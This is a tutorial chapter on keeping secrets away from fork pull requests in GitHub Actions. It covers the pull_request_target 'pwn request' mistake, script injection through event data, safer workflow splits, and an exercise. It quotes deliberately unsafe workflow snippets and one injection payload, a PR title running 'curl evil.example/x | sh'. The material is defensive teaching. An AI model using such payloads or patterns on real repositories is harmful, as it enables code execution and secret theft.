Sub topic 7
Keeping secrets away from fork pull requests and untrusted code
This chapter assumes you can read a GitHub Actions workflow, know how repository secrets are stored and referenced, and understand that a pull request (PR) from a fork is a proposal to run someone else's code in your project.
Why fork PRs are a threat
A workflow runs whatever the PR author wrote. If that workflow can read your secrets, the author can print them, send them to a server, or use them directly. Anyone can open a fork PR, so you must assume the code is hostile.
GitHub Actions limits the damage by default. For the pull_request event on a fork:
- Repository secrets are not passed to the workflow, except
GITHUB_TOKEN. GITHUB_TOKENis read-only.
Because of this, pull_request is the safe trigger for building and testing contributed code.
The dangerous trigger: `pull_request_target`
pull_request_target runs in the context of the base repository. It gets secrets and a token that can write. It exists for tasks such as labeling PRs, which don't need the PR's code.
The classic mistake is to check out the PR's code in that privileged context:
on: pull_request_target
jobs:
test:
runs-on: ubuntu-latest
steps:
# UNSAFE: checks out the fork's code with secrets available
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: npm ci && npm testHere npm test runs attacker-controlled scripts next to your secrets. This pattern is sometimes called a "pwn request".
Split untrusted work from privileged work
Run untrusted code in one workflow with no secrets. Pass results to a second, privileged workflow as data only.
The privileged side must never execute files from the artifact. It should parse and validate them, for example by reading a PR number and checking that it is an integer.
Script injection through event data
Untrusted text can also attack you through expressions. ${{ }} is expanded before the shell runs, so a PR title becomes part of the script:
# UNSAFE
- run: echo "Title: ${{ github.event.pull_request.title }}"A title such as "; curl evil.example/x | sh; " then executes. Pass the value through an environment variable instead, so the shell treats it as data:
- name: Print title safely
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "Title: $PR_TITLE"This applies to branch names, issue bodies, commit messages, and any other field an outsider controls.
Add layers of control
- Under repository settings for Actions, require approval before workflows run for outside contributors.
- Put powerful secrets in an environment with required reviewers, so a human approves each use.
- Set
permissions:explicitly to the minimum, such ascontents: read. - Don't use self-hosted runners for public repositories. A fork PR can leave persistent malware on a shared machine.
Common errors
| Mistake | Result | Fix |
|---|---|---|
| `pull_request_target` plus checkout of PR head | Fork code runs with secrets | Use `pull_request`, or split the workflows |
| `${{ github.event.* }}` inside `run:` | Shell injection | Pass through `env:` |
| Executing downloaded artifacts in a privileged job | Same as running fork code | Treat artifacts as data and validate them |
| Self-hosted runner on a public repo | Persistent compromise | Use ephemeral hosted runners |
Exercise
A workflow uses the pull_request_target trigger, checks out github.event.pull_request.head.sha, and runs npm test with a deploy token available. Why is this unsafe, and how would you restructure it?
Show answer
Checking out the fork's head commit means the author's code, including npm scripts and test files, runs in a job that has secrets and a writable token, so the author can steal them. Restructure it as two workflows. A pull_request workflow builds and tests the fork code with no secrets and uploads results as an artifact. A separate workflow_run workflow, running from the default branch, reads that artifact as validated data and performs any privileged step without executing the fork's code.